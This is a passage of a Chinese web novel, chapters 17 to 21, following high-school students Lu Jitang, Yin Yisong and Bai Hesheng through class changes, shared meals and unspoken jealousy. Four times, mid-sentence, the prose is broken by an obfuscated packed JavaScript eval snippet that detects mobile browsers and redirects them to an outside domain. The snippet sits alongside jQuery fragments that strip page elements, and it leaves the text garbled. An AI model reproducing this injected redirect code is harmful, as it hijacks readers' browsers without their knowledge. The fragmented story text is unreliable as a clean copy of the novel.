他说完就躺下,扯过被子,侧着身面对着墙壁睡下,留给殷倚松一个后背。 在路既棠看不到的地方,殷倚松的眉渐渐蹙了起来。 开春之后,一连多日,阴雨绵绵,但这天下午,却是罕见地出了太阳,校道旁的紫荆花也开了,如黛粉色的雾霭。 路既棠回过神来,偏头看向讲台。 这一节是数学课,数学老师刚刚走进教室,她在喊人上去讲题。 今天上去讲题目的人,轮到殷倚松那一组,而这一次上去讲题的人是安于年。 安于年手上拿着中午殷倚松给他的数学试卷,还有一张写得满满当当的草稿纸。 他的声音悠悠的,虽然有些小,但却一点一点地把解题思路讲出来了。 他讲完之后,回到座位上,目光怯怯地看着数学老师,数学老师又看了一遍他写在白板上的过程,点了点头:“看得出来做了很多功课,你叫……”数学老师低头看了一眼座位表,“安于年,原来是新同学,挺好的,继续加油。” 安于年的眼神一下子就亮了起来。 数学老师顺着安于年讲的内容,再把这个知识点给同学们巩固了一遍,“下面我们讲新内容。” 数学老师讲课很有特色,能照顾班上大部分的人,但路既棠现在的同桌肖意属于不能被照顾到的那一部分人。肖意是一个有些典型却又不是那么典型的数学天才,典型在他有着一部分数学天才的特质,数学课不听老师讲课,只自己做题,不是那么典型又在于他喜欢用各种匪夷所思的方式解题。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396641|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>并且,他极其热衷于出题让路既棠做,然后再跟路既棠讨论。 路既棠对数学说不上不喜欢,但也说不上喜欢,他那一百三十分的阶段已经是对数学最高的敬意,实在不想为了再提高十几分而去折腾自己。当初他对邓宁煜的承诺,只是一次不怎么上心的附和。 他的天赋,从来就在文字上,而不在数字上。 他知道自己擅长什么,不擅长什么,现在的他,还不想磨平棱角去做那能被瓶子装下的滑石。 他守规矩,却只守符合自己逻辑的规矩。 肖意则不同,他是能把数学考到接近满分的人,对于数学知识点的掌握度,一直要求至臻至善。 因此,虽然肖意是一个性格略冷但也能够相处的人,但两人在数学上的不同理念,让路既棠有时候感到有些无奈,甚至是痛苦。 之前他和殷倚松不会出现这样的问题。殷倚松虽然对自己要求极高,却不会去苛求别人,他在数学考接近满分的同时,能尊重路既棠对于数学有些摆烂的意愿,并且能在路既棠偶尔想要支棱时提供一些思路和支持。 但殷倚松现在已经不是他的同桌了。 他现在是安于年的同桌了。 路既棠回头,往殷倚松的方向看了一眼,却正好对上了殷倚松深沉的目光。 殷倚松不知道已经看了他的背影多久。 下课之后,肖意出去了,路既棠习惯性地盘起手臂,窝起来睡觉。他现在的座位靠窗,他枕着手臂闭着眼睛,窗外的风和一点阳光透过窗户的缝隙穿过他的耳畔,他白净的耳廓上的细小绒毛在阳光下自由舒展。 有人坐到了他的身边。 那人一开始没有说话。 路既棠也没有理他。 可两分钟之后,路既棠终于还是忍不住,从臂弯中抬起头来。 殷倚松也终于收回了目光。 路既棠用手肘撞了一下殷倚松的肩,“什么事,你快说话。”他说着话,眼睛看着又要闭上了。 “……”殷倚松忍了一会,最后却还是抓住了路既棠的手臂,路既棠闭上的眼睛睁开了,抬头看他,殷倚松说:“今天下午放学,我等你一起去吃饭。” 路既棠还没有回应,教室门边的一个女生叫他:“路既棠,语文老师找。” 路既棠看过去,看到了站在教室门外的语文老师正笑吟吟地朝着他招手。语文老师常穿旗袍和长裙,像是民国朦胧烟雨中走出来的丁香姑娘,温婉而结着一丝若隐若现的愁怨。 “老师。”路既棠出去和她打招呼。 语文老师把一沓小测试卷递给他,开口说道:“打印机出了点故障,试卷刚打印出来,我把试卷拿上来给你,今天中午你来找我说的事,准了,今晚我就不过来看自修了。”她声音婉转动听,像黄鹂一样,“就当期中考之前给你们放松一下吧,希望同学们看电影开心。” 路既棠接过试卷,和语文老师道谢。 “谢什么呀,”语文老师笑得温柔,她看了一眼坐在路既棠座位旁的殷倚松,“好了,快回去吧,我看殷倚松还在等着你呢。” 18. 第 18 章 路既棠应下了傍晚放学和殷倚松一起去吃饭的事情。 这天是星期一,第九节课要大扫除,没有大扫除任务的同学可以提前去吃饭。路既棠在教室外的走廊等殷倚松。 殷倚松正在一边收拾东西一边和安于年说话,安于年在得知殷倚松不和自己一起去食堂时,露出一点失落的表情。 路既棠听到安于年说:“那好吧,我晚上再问你数学试卷的最后一道题。” 就在这时,路既棠的身侧传来了一道女声,“路既棠,麻烦让一下,让我扫一下你脚下的这块地方。” 路既棠侧身去看,扎着马尾的清秀女孩看着他,在等他让路。 这是三班的另一个新同学,祝汝。 “不好意思。”路既棠道歉之后,走到另一边。 殷倚松正好出来了,他于是和殷倚松一起走了。 他们俩已经很久没有一起去过食堂了。路上,殷倚松和他聊起各自的同桌,路既棠一直怏怏的,没有什么想要和他往下说的欲望。他们之间难得沉默。 他们在去食堂的路上,经过了一棵开得正盛的三角梅,艳丽张扬,树下散着许多花瓣,人经过时,甚至能接住还在飘落的花瓣。路既棠抬头看了一眼树冠,顺着树冠看向其上澄澈的蓝天。 天气真好。这本应是仲春里平平无奇的一天,却因为好天气和正在肆意绽放的春意而显得令人心折。 路既棠有一搭没一搭地想,殷倚松或许很好,会有很多不同的朋友,他只是殷倚松的朋友中的一个而已,是自己太过异想天开,会觉得殷倚松会像自己的家人一样,永远以自己为第一顺位。可今天中午,他差点没能等到殷倚松,因为殷倚松会有其他的朋友,需要分出时间给其他人。 不能对普通朋友有太多的要求。路既棠想。殷倚松和白鹤生不一样,白鹤生知道自己的所有,可殷倚松不是,所以应该像之前一样,对普通朋友,互相体谅和有分寸感才是自己习惯的相处方式。 路既棠在心中把最后一句话过了一遍。 殷倚松看到路既棠收起了之前不太明显的怏怏,对自己露出了笑意。可那笑意,和之前的不太一样了,却很像路既棠第一次见他时的,客气却也带着一点隐隐的距离。 他目光稍凝。 “是这样的,过一段时间就好了。”路既棠接上了之前的话,将话题又带起来,他笑着说,“今晚语文小测之后就能看电影了,写作业的时间短了,所以数学试卷要写得再快一点。” 殷倚松看着路既棠,眉心皱得更深。 语文自修,在收了小测试卷之后,英语老师拿着他的U盘走进教室。 班上短暂地激动了一会。英语老师是一个高瘦的中年男人,和学生们相处得很融洽。 这次他放的是一部很经典的电影。 原生家庭的爱与包容为三个女性的成长赋予了可贵的人生底色,可在那个时代,女性在成长中会遇到各种各样来自社会给予的困境,她们自身的性格与经历,使得她们在人生的不同阶段作出不同的选择。 很多时候,和光同尘也好,离经叛道也好,只要女性自己足够坚定,总会找到自己的路。 爱情与婚姻并不是人生的必备选项,独立的人格与自由的思想,也可以是女性追求的目标。 他们一直看到晚修下课。 路既棠在收拾东西时,前排的几个女孩子聚在一起聊天,她们从刚刚的电影一直聊到花,“小花园的蔷薇开花了,阿姨把它的藤绕在小花园的拱门上,可好看了,去湖心亭的那条桥上的花也开了。我可真喜欢南中的春天,姹紫嫣红的,真好看。” 路既棠低头微笑。 “啊,要是没有那么多作业和考试,要是南中能多放半天假,我还能跟我爸爸妈妈去公园放风筝,我想吃我妈妈做的饭了,虽然我昨天才吃了。” “再撑一年多就好了,老师们都说了,上了大学就好了。我们现在都开始一轮复习了,离高考还会远吗,高考之后我们就自由啦,我就能去追风筝,去看山海,去找我自己的自由了。” 路既棠将手中的书页压平放好。 到最后,女孩子们一致认为,好好一轮复习,好好学习,好好高考,把剑配妥再去行走江湖。 她们比电影里的女孩幸运一点,生在一个对女性来说相对友好的时代,可很多东西,还是需要自己去争取。 路既棠迎着春日夜里的风回了寝室。 他踏进寝室门,就听到了安于年的声音,“这个条件我不知道怎么用,你可以跟我说一下吗?” 路既棠抬眼看过去,却发现殷倚松正在看着他。 拿着数学试卷的安于年又喊了殷倚松一声,他看到路既棠正在往这边看,于是和路既棠打了个招呼。 路既棠冲他们点了点头,抬步往自己的床走去。 这几天的气温逐渐升高,这天晚上,路既棠将冬天穿的棉绒睡衣收起来,换上了薄款的长睡衣,他踩着拖鞋站在阳台边洗漱,时而抬头看看阳台外的灯光。 寝室的人陆陆续续地回来了。 路既棠收拾好之后,爬上床,他今天中午睡前已经把一本书翻完了,打算换下一本,在他拿书的时候,殷倚松过来了。 路既棠和他说话:“你们讲题讲完了?” “……对。”殷倚松回答道。 “挺好的,时间不多了,赶紧洗漱睡觉吧。”路既棠的语气很正常,和平时的没有差别。 可之前的路既棠对他,不会像现在话这么少。 殷倚松沉默了一会,“嗯”了一声。 熄灯之后,路既棠抱着被子辗转反侧了半个小时,最后用被子裹住自己,逼着自己睡着了。 而睡着他床上的殷倚松,平躺着,将手臂搭在额头上,压着呼吸,看了头顶的天花板很久。 第二天,课间操结束之后,路既棠刚到教室的外走廊,身后就传来了一道熟悉的声音,“学长!学长,先等一下!” 路既棠回过头去看,是沈释北。 这个学期,高二的学生社团干部要和高一的社团成员交接工作,逐渐退出社团,社长在前一周发了拟定的下一届社团干部的名单,而沈释北,不出意外的话,就是下一届社团的宣传部部长。 路既棠作为这一届的宣传部部长,需要和沈释北交接一些社团内部的事务。 沈释北依然是那副热情张扬的性格,他跑到路既棠面前,和路既棠打招呼,然后眼巴巴地看着路既棠。 路既棠停住脚步,他看了一眼腕表,“快上课了,怎么了,有什么急事吗?”他问沈释北。 沈释北笑得很阳光,他把背在身后的一盒牛奶和面包拿出来,“学长,我听说你这学期不怎么去食堂买早餐,正好我买多了,能送你吗?” 路既棠推了推细框眼镜,看了那盒牛奶一眼,眼神有些奇怪。 沈释北见路既棠没说话,于是接着说道:“学长,你就收下吧,就当是我对你最近教我接手宣传部的工作的感谢吧。”他眼巴巴的。 路既棠于是收下了,沈释北肉眼可见地开心起来,高个子的男生脚步轻快地走了,像一只被主人奖励了的大狗,开心极了。 路既棠看了沈释北离去的身影一会。 他转身时,猝不及防地撞上了殷倚松。 殷倚松低头看着他,目光有些凉,“你乳糖不耐,根本喝不了牛奶,为什么还要收下他的牛奶?你就这么喜欢他送的东西?” 他们俩站在教室的后门旁,殷倚松说完那句话之后,有其他同学从后门进出,他们俩被挤开了。 路既棠垂眸看了一眼手上的东西, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396642|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是在被挤开之后,顺着其他人回了自己的座位。 于是最终,他没有回答殷倚松那个问题。 但路既棠在沈释北再一次给他送早餐时,委婉地拒绝,让对方不要再送了。 高二第二个学期的日子就像轻摇鸟儿栖息枝头的徐风,平淡悠长地穿过时间之林。那天早上之后,殷倚松没再深问路既棠,他们又恢复了常态——偶尔一起去食堂,偶尔一起下楼集队。 暑气慢慢盛起来,他们的长袖蓝白校服从一次星期一的集会过后,换成了短袖。短袖的蓝白校服陪着路既棠,走过集会结束之后散开的人潮,走过高二的大考小考,再走过那一年的路既棠还是旁观者的高考。 这一年六月八日,高考结束。 晚上,数学老师在班群中发了一张照片。 南中“回”字形的教学楼正中央大屏幕的倒计时换了。 现在黑底红字的大屏幕上赫然写着:距离高考还有363天。 路既棠他们这一届,从这一天开始,成为了真正的高考生。 个人在时代的洪流中,只是一滴微不足道的小水珠,被裹挟着向前。 不同的是,有的水珠茫茫然随大流,而有的水珠知道自己的命运在何方。 高二的学生在炎炎夏日中结束了期末考。在期末考试成绩出来的第二天,分班表和高三任课教师表也随之公布。 另一个校区的两个文科班的学生搬过来,复读生组成了一个新的文科班。整个年级根据高二一整年的综合成绩进行大重组。 三班的男生走了三个。分班表出来那天,还是假期。寝室群里的消息刷屏得飞快。有人说:“我是真的没有想到,就差一点,就差一点我就能留下来了。我听人说,这次是最后一次分班。以后我再怎么努力也没有机会回到三班了。”他越来越绝望,“为什么偏偏是高三这一年?” 吴睿凌和李未序一直在安抚他的情绪,其他人也发消息安慰他。 那天晚上,那个人道了谢,退出了寝室群。其他两个人也很快退出了群聊。 这些人,最终会成为他们生命中的过客。 令人憾恨又叹惋。 但人只能朝前看,只能往前走。 南中会把所有的资源往高三倾斜。高一高二的老师多是经验较少的年轻老师,进入高三之后,各班的年轻老师会被替换一部分。 三班原来的老师已经很优秀,本来没有必要换,但教历史的林老师怀孕了,高三的教学强度太大,于是学校安排了另一个刚带完上一届高三的历史老师接替。 新的历史老师姓程,是一个中年的女老师,优雅随和,荣誉满身。 林老师最后说:“程老师是南林市最好的历史老师,有她带你们,我就放心啦,同学们加油,祝你们都有光明的未来。” 五天的假期结束,路既棠收拾东西回了学校。 这一整个暑假,他们都要和正常时间一样,在学校上课。 学校安排高三的学生在回学校当天换寝室。三班的男生寝室从三号楼的607室换到五号楼的305室。 搬行李就是一个异常艰难的过程。 在搬行李的过程中,下了雨。路既棠手边还抱着一个盒子,他站在廊下,看着檐外浓漓的绿意。有人冒着雨扛着东西奔跑,有人在楼道艰难跋涉。 还有人静立听雨。 等路既棠整理好一切,已经是下午的放学时间。 他跨过五号楼的月亮门,走出去了十几步,肩膀突然从后面被拍了一下。 他以为是吴睿凌追上来了,于是没回头,“我不去食堂。” 一条手臂搭上路既棠的肩膀,含着笑意的声音响起,“可我想去食堂。” 路既棠听到这个声音,猛地回头,眉梢上带着一点惊色与喜色。 19. 第 19 章 那人松开他,将黑色的鸭舌帽往上一掀,露出那张干净棱角分明的脸,明亮的眼睛看着人,“路既棠——” 是白鹤生。 他回来了! 路既棠眉目舒展开来,面上是显而易见的开心。“你之前没跟我说是今天回来。” “快带我去食堂,让我看看南中的饭好不好吃。” “本来不是今天的,但手续办得快,我就连夜买机票回来了。”白鹤生好奇地左右打量,“我小时候来的时候,南中还不长这样,这么多年,变了好多。” 路既棠带他去食堂,“今晚我请你吃饭,你想吃什么都可以。”他想了一下,“叫上秋染。” “行啊,”他挑了挑眉,“吃完饭我去看看南中的围墙高不高,找个时间翻墙出去看望你奶奶和秋染外婆。” “你真是……”路既棠显然习惯了却依然无言以对。 “对了,”路既棠换了一个话题,“说一下你现在班级和寝室号。” 白鹤生抱手,“七班。寝室号205,正好在你楼下。” “哎,我还没去过教室。”白鹤生弯腰捡起脚边的一片玉兰花树的叶子,仔细打量,问路既棠:“你知道七班的教室在几楼不?” “二楼。”路既棠边走边说,“靠近图书馆那边,”他指给白鹤生看,“那个楼梯上去拐角第二个教室,我们班的教室在七班对面。” 白鹤生凑过去看,“那不远,以后下课之后……” 路既棠:“像初中那样找我玩吗?” “不。” 路既棠偏头看他,示意他说下去。 白鹤生大笑,“下课之后我去找你贩剑。” 路既棠:“……你好烦。” 在二楼的食堂里,路既棠将芒果汁递给杨秋染后,又把一碗红彤彤满是辣椒油的螺蛳粉放到白鹤生面前的桌上,“你要吃的螺蛳粉。” 白鹤生拿起筷子,“还得是你!”他低头夹了一筷子,送入口中,一会后,叹息了一声:“还是南林市的螺蛳粉好吃。” 杨秋染看看白鹤生,又看看路既棠,说道:“别光顾着吃螺蛳粉,吃点饭,”她把一份炒饭推给白鹤生,“这是食堂阿姨的拿手炒饭,我还让阿姨给你加了辣椒,你要是以后晚上不知道吃什么,闭眼盲选,绝不会出错!你快尝尝!” 白鹤生又很给面子地挖了一勺炒饭放进嘴里,“这个也好吃,”他说着又看向杨秋染给他推过来的菜,“这些又是什么?” 食堂二楼靠窗的一张长桌旁,他们三人相对而坐。大概是看着眼生,于是三班一些路过的同学向杨秋染和路既棠打完招呼之后,又好奇地打量着白鹤生。 等人走了之后,白鹤生转头问路既棠,“对了,你之前那同桌呢,我还没见过长什么样呢,就你带回家那个……” 正在喝水的杨秋染突然呛了一下。 路既棠拿出纸巾递给杨秋染,“慢点。” 杨秋染接过纸巾掩着口鼻咳了一会,震惊道,“你们之间还有什么我不知道的故事?” 路既棠平静地说:“没有故事,是事故。”说完他在桌底下给了白鹤生一脚。 正在席卷第二碗螺蛳粉的白鹤生也呛了一声。 杨秋染紧张地开了一瓶水给白鹤生,“不是吧,你不是最能吃辣的吗,咋吃个正常辣的螺蛳粉就呛到了,赶紧喝点水。” 白鹤生把水接过来,有些无语地看了路既棠一眼。 路既棠偏头,一副事不关己的模样。 经过这一打岔,杨秋染也忘记了之前要问路既棠的问题。 吃完饭后,杨秋染还要回寝室收拾先走一步。白鹤生则跟着路既棠后面慢慢晃,“你不想让秋染知道你同桌去过你家,”他一双长眉上挑,“害羞了?” 路既棠回头看他,情绪毫无波动。 白鹤生跟上来,“啧”了一声,“你总是这样,说中你的心事你就是这个表情。” 路既棠沉默了一会,说道:“在我心里,同龄人中,没有人比你们两个更重要。” 白鹤生一怔。路既棠的性格决定了他习惯从容,习惯委婉,习惯不动声色地周旋却不会把内心真正的想法说出来。 这样直白满是情绪的话,在他的记忆里,路既棠只说过两次,而这次是第三次。 白鹤生以为殷倚松也许只是路既棠一个关系比较好的同桌,直到路既棠说出这句话。路既棠在担忧和害怕什么,白鹤生几乎是在这句话落地的一瞬间就心领神会了。 和路既棠说的话恰恰相反,殷倚松这个人在路既棠心里,已经不再是一般的朋友了。 白鹤生又笑,“知道了,你也是,你天下第一好。” 这天晚上,邓宁煜在晚自习的前十分钟,简单说了一下注意事项,然后把新的座位表给班长,让班长投影。路既棠坐到了第二组,同桌换成了郑卓石,肖意和李未序同桌在第三组,殷倚松同桌不变,还是安于年,在第四组。 这一整天,路既棠几乎都在搬东西。晚自修下课铃响,路既棠几乎是立刻就放下了笔收拾东西,他实在是太累了。路既棠一踏出教室门,就看到了守在走廊上的白鹤生。 白鹤生得意地冲他招手,“路既棠过来!” 路既棠走过去,摘下眼镜,擦了起来,有些疲惫地说:“干什么。” “人呢,”白鹤生则充满活力,四处张望,兴奋地说道,“你知道我说谁。” 像是看到了什么,白鹤生压低声音,拉了一把路既棠手臂,“是不是他!” 路既棠叹了口气,戴上眼镜,跟着看了过去。 然后他就看到了站在月色下,向他和白鹤生这边看过来的殷倚松。 这个人分明站在月下,眼神却这样晦暗。 殷倚松过来,白鹤生也放开了拉着路既棠手臂的手。 殷倚松问:“他是谁?” 他没看一眼白鹤生,只是紧紧地看着路既棠。 白鹤生看戏,路既棠扶了一下鼻梁上的眼镜,介绍道:“白鹤生,我的发小,刚从其他学校 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396643|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转回来。殷倚松,我的……同学。” 白鹤生清楚地看到,在路既棠说“同学”的时候,殷倚松突然咬紧的下颌。 他觉得好玩,于是对殷倚松挑衅地笑了一下,果然看到了殷倚松更加晦暗的眼神。 路既棠看了一眼白鹤生,知道对方露出这个表情是要使坏的前兆,于是对殷倚松说:“我先回寝室了。”说完他轻轻踢了一脚白鹤生的鞋尖,示意对方跟上。 他们走出了十几米,白鹤生说道:“他还站在原地看你呢。” 路既棠不理他。有些人没见就想念,见了就想掐死,说的就是白鹤生这种喜欢贩剑的人。 白鹤生此时就像是一只读不懂空气的猫,绕着路既棠走,非要路既棠带他去寝室看看。 于是,就有了路既棠站在寝室阳台里,透过雕花的石窗望着窗外绿意盎然的荔枝叶子,而白鹤生则和不久前回到寝室的吴睿凌打成一片的场景。 好不容易晚修铃要响了,白鹤生终于下楼。白鹤生走后,吴睿凌凑过去对坐在床边喝水的路既棠说道:“路哥,你朋友好厉害啊,之前我就听七班的人说,这学期他们班转来一个不同寻常的学霸,天哪,七八班这种班级,随便一抓哪一个不是学霸,他们自己根本不会承认除了那双巨头外的人是学霸。” “今天一见,才知道这不是不同寻常,这简直是非常炸裂。”吴睿凌说道。 李未序也凑过来,“这不过是理科大佬们给我们的小小震撼罢了。” 第二天,高二升高三的暑期研学正式开始。 第一节是数学课,数学老师在讲期末试卷之前,先讲了班级的成绩,在最后,她着重说道:“我很佩服祝汝同学,我记得她是高二第一个学期转来三班的,刚开始她的数学成绩还在及格边缘,是班上的倒数,但是两个学期过去,”数学老师的翻页笔点过演示文稿上的一个数字,“她的数学成绩是班级第四,而我看了一下祝汝同学的全科排名,她已经是文科第二了。” 班上同学的目光纷纷投向祝汝,纤秀的女孩坐得端正,长睫微颤,白面泛粉,像是没料到数学老师会当众点名夸奖。 数学老师难得声音清缓地说道,“在我的自修上,她是问问题问得最勤的人,也是错题本做得最好的人。我知道我们班的人都很聪明,但学习不止需要聪明,也需要方向正确的努力,我佩服每一个有毅力的人。” 祝汝刚进三班时,成绩即便在年级中已经算是优秀,但在三班里还是倒数,祝汝用了两个学期的时间,将成绩从三班倒数提到三班的第二,其中付出的努力,不可想象。 这样一个认真又有毅力的女孩,本身就是发着光的。 路既棠抬头,想起了一件之前的小事。 三班里,除了杨秋染,路既棠和大多数女生都交情不深,但是在高二第二学期的一次值日,打扫祝汝位置的过道时,发现掉下来的一本书,路既棠拾起来,将封面盖上,发现是一本关于法律的书籍。 路既棠看着书名,瞳孔微微一缩。 20. 第 20 章 祝汝正好吃完午饭回教室,路既棠将书还给祝汝,祝汝接过道谢。 路既棠本来要继续打扫,但鬼使神差地,他问道:“为什么会看这样的书?” 祝汝漆黑的眼睛静静地看了路既棠一瞬,“我现在最希望的事情就是我已经是一个成年人,成年人和未成年人,最大的区别就是是否具备完全的民事行为能力,如果我是一个成年人,那么我做的所有事情,就不必经过我父母的追认,他们就再也无法对我要做的事情进行干涉。我看这样的书,是因为只有当我知道这些规则,才能用规则保护自己。” 一个尚未成年的女生,说出这样有悖于常人的话。 路既棠意识到了什么,于是没再问下去,最终,他只是轻声说道:“我有一些这方面的书,如果你需要,我可以拿给你看。” 从那之后,路既棠把他放在房间里所有关于这方面的书籍都借给了祝汝。 数学老师的话让路既棠回过神来,他重新看向黑板。下课之后,数学老师走下讲台,用卷起来的数学书敲了敲路既棠的桌面,“路既棠,你跟我来一趟办公室。” 路既棠心知自己肯定逃不了一顿训。 但数学老师接下来又叫了殷倚松,两个人跟在数学老师身后,到了办公室。数学老师第一句话:“路既棠,我真的要说你了,你数学成绩和其他科的成绩也太负相关了吧,不止邓老师来问了,就连年级主任也来问了,”她一怒之下怒了一下,“我觉得你要给我一个原因。” “不能其他科都这么好,但是数学就是差了一截吧,邓老师也说了,从来没有文科第一这么奇怪的。”数学老师说道:“你之前一直都很稳定,我也不说你了,但是你这次都跌到一百二十去了,”她拧开保温杯,“告诉我为什么。” 路既棠垂眸,给数学老师顺毛,“写到数学倒数第二大题的时候睡着了,对不起老师,下次不会了。” 数学老师闻言把保温杯放下,看着他,“你居然敢睡觉!你前一天晚上干什么去了!还有下次是什么意思,你还敢有下次!” 路既棠继续道歉:“对不起老师,没有下次了。” 数学老师又拿起保温杯,喝了几口水之后说:“我真是要被你气死。” 她转头又问殷倚松,“那你呢,这次班上只有冯晓曼和肖意满分,这次为什么粗心成这样,你知不知道,不把那个小数点写错,你就能拿满分了,这多可惜!你以前从来不会犯这种粗心的错误!” 殷倚松也道歉。 “你们两个这次干嘛去了,”数学老师狐疑地打量他们,“一个两个,商量好的吗?” 路既棠和殷倚松默契否认,刚好预备铃响,数学老师在放他们走之前说道:“不许再有下次,不然你们来给我写教学评估报告,替我挨领导批评!” 两人走出办公室,四目相对,路既棠率先开口,他揶揄道:“看来我们俩这次运气都不怎么样。你这次怎么了?” 殷倚松看着路既棠,也笑,“当时写最后答案的时候,想事情走神了。你呢,为什么会睡着,你之前从不这样。” 路既棠想了好一会,才道:“大概是前一天晚上帮白鹤生写转校申请书吧,编辑了给他发过去。”他低头笑了一下,“像这样的,他从来都懒得上网搜一下,一直都是我帮他写。” 殷倚松闻言,定定地看了他一会。路既棠说起白鹤生的语气是熟稔而温情的,单是这短短的几句话,就知道路既棠和白鹤生之间一定有着很深的感情,那种外人很难介入的感情。 殷倚松面上的笑意一点点收敛,他问:“你为了帮他,连第二天的考试都不管了吗?” 路既棠抬头看他,似乎有点惊讶殷倚松会问出这样的话。 不过一息之间,殷倚松身上冷肃的气质一扫而空,恢复温和,“没事,我们回去上课吧。” 莫名其妙的……殷倚松的话给路既棠一种咬牙切齿的感觉。 早上的课结束之后,路既棠照常去语文老师办公室拿试卷,回到教室之后,却意外发现殷倚松并没有像往常一样,早早地去食堂,而是在座位上低着头写题。 路既棠刚放下试卷,抬眼就对上了殷倚松的目光。 在下意识冲对方笑了一下之后,路既棠问道:“怎么没去食堂?” “我在等你。”殷倚松合上笔盖,把试卷收好,站起身来,向路既棠走来。 “我们已经好久没有一起去食堂吃饭了。”殷倚松在路既棠面前站定,说道。 等到他们在食堂坐下时,已经过去了十五分钟,路既棠正在挑碗里的鱼的刺,今天中午的红烧鱼的刺有点多,于是他挑得格外慢,他在听殷倚松说话,于是手中挑鱼的动作也漫不经心的,可尽管如此,也显得他赏心悦目。 殷倚松的目光从路既棠握筷子的手指上一扫而过,他问道:“药都吃完了吗?” 从年初殷倚松带路既棠回家看病,到现在已经近半年了。 这期间,路既棠把殷倚松爷爷给自己调养身体的事情告诉了路奶奶,在知道路既棠的身体情况和病因后,路奶奶听从建议,专门找了家政每天熬好药之后送到学校去给路既棠喝,殷倚松隔一段时间就摸一下路既棠的脉,有什么拿不准的就回去问他爷爷。 殷倚松之所以有这一问,是因为路既棠吃完这一次的药之后,如果没有意外,就可以停药了。经过这么长时间的调养,路既棠的胃病几乎没有再复发过,面色也比之前红润了一些。 闻言,路既棠抬眼看他,“刚好,我打算吃完饭就去校门口拿药,阿姨说今天这是最后一次了。”他看着殷倚松的目光专注又认真,“谢谢你。” “如果没有爷爷和你,我大概还要因为这个花上许多年的时间,还要耽误很多事情。” 他说:“我觉得我能遇到你,是上天给我的为数不多的好事。” 殷倚松移开了目光,右手蜷起抵在唇前不自在地咳嗽了一声,“不用谢……” 虽然殷倚松的表情并没有太大的变化,但路既棠就是觉得对方的心情比今天早上从数学老师办公室出来时好上了许多。 如果一定要形容,那就像被蒙蔽着满月的乌云突然散开,只余下满天柔和明亮的月光。 很含蓄,却有着分量不清的存在感。 这种感觉一直持续到了午休结束。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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现在他们的教室在二楼,偏头就能看到窗外浓密的绿意,到了晚上,暑意退了一些,窗正开着,晚风吹进教室,玉兰花香袭面而来。路既棠停下正在写着数学试卷的笔,静静地向窗外看了片刻。 他很快回神,继续投入自己的事情。 等到晚上十点半下课,没有吃晚饭的路既棠已经快要饿晕了,他放下笔刚一抬头就看到了白鹤生。 “……”路既棠被吓了一跳,“你是什么时候进来的?” “刚下课我就冲过来了,”白鹤生说着,倚坐在他的桌上,手中拿着一个食盒,他对路既棠炫耀,“我一猜你就没吃晚饭,怎么样,想吃吗?” 路既棠叹了口气,站起来把白鹤生推下去,无奈道:“走,出去说。” “你真的翻墙出去了?”他们俩并肩下楼梯,往宿舍楼的方向走去,路既棠一边走一边问。 “那不然呢?”白鹤生把食盒塞给路既棠,“是你爱吃的,还保温着,你奶奶特意托我给你带的。”他笑得猖狂,“我一听那校长讲的就没完没了的,站了十分钟,不耐烦直接跑了。” 他揽过路既棠的肩膀,低声说:“昨晚我就看好了,小花园旁边的教职工宿舍后面的围墙容易翻,下次我带你出去。” 路既棠简直为他的效率惊叹,“你到底是怎么躲过检查的?” 白鹤生松开他,大步走了出去,大笑道:“秘密。” 21. 第 21 章 暑气正盛,教室的空调整日整日地开着都不能让学生们凉快下来。这一天傍晚,在结束跑操之后,路既棠没有向往常一样径直去食堂,而是越过四散的人流,走进跑道旁边的绿荫处,坐在树下长长的石椅上。 这天的晚霞是橙色的,丝丝缕缕的云在澄澈的天空飘着。路既棠仰头看了一会,摘下额头上的运动发带握在手上,他刚摘下来没多久,额头上很快又布满了一层细密的汗珠。 他不喜欢跑步,更不喜欢这样一群人挤在一起喊口号的跑操,这除了让他本来就有的心理障碍更严重之外,根本没有其他益处。可是他不能拒绝,即使他尝试过了,这除了让班主任为难之外,并不能改变什么。 他不够强大,只能被裹挟着去遵守别人制定的规则,去一遍遍地尝试着去合群。 可是他并不喜欢。 如果是往常,他能很快调节好自己的心情,去做他该做的事情,不管是写作业还是考试,他只会在自己能够掌握的尺度里偶尔胡闹一下,而大多数时间,他都像一个温和的学习机器,准确而逻辑清晰。 可今天是他的生日。这是八月的第一天,往常,他会在家里度过这一天,而今天,他有的只有因为体育老师不满意而让整个年级的同学多跑的两圈跑操。有那么一瞬间,他觉得有些委屈。 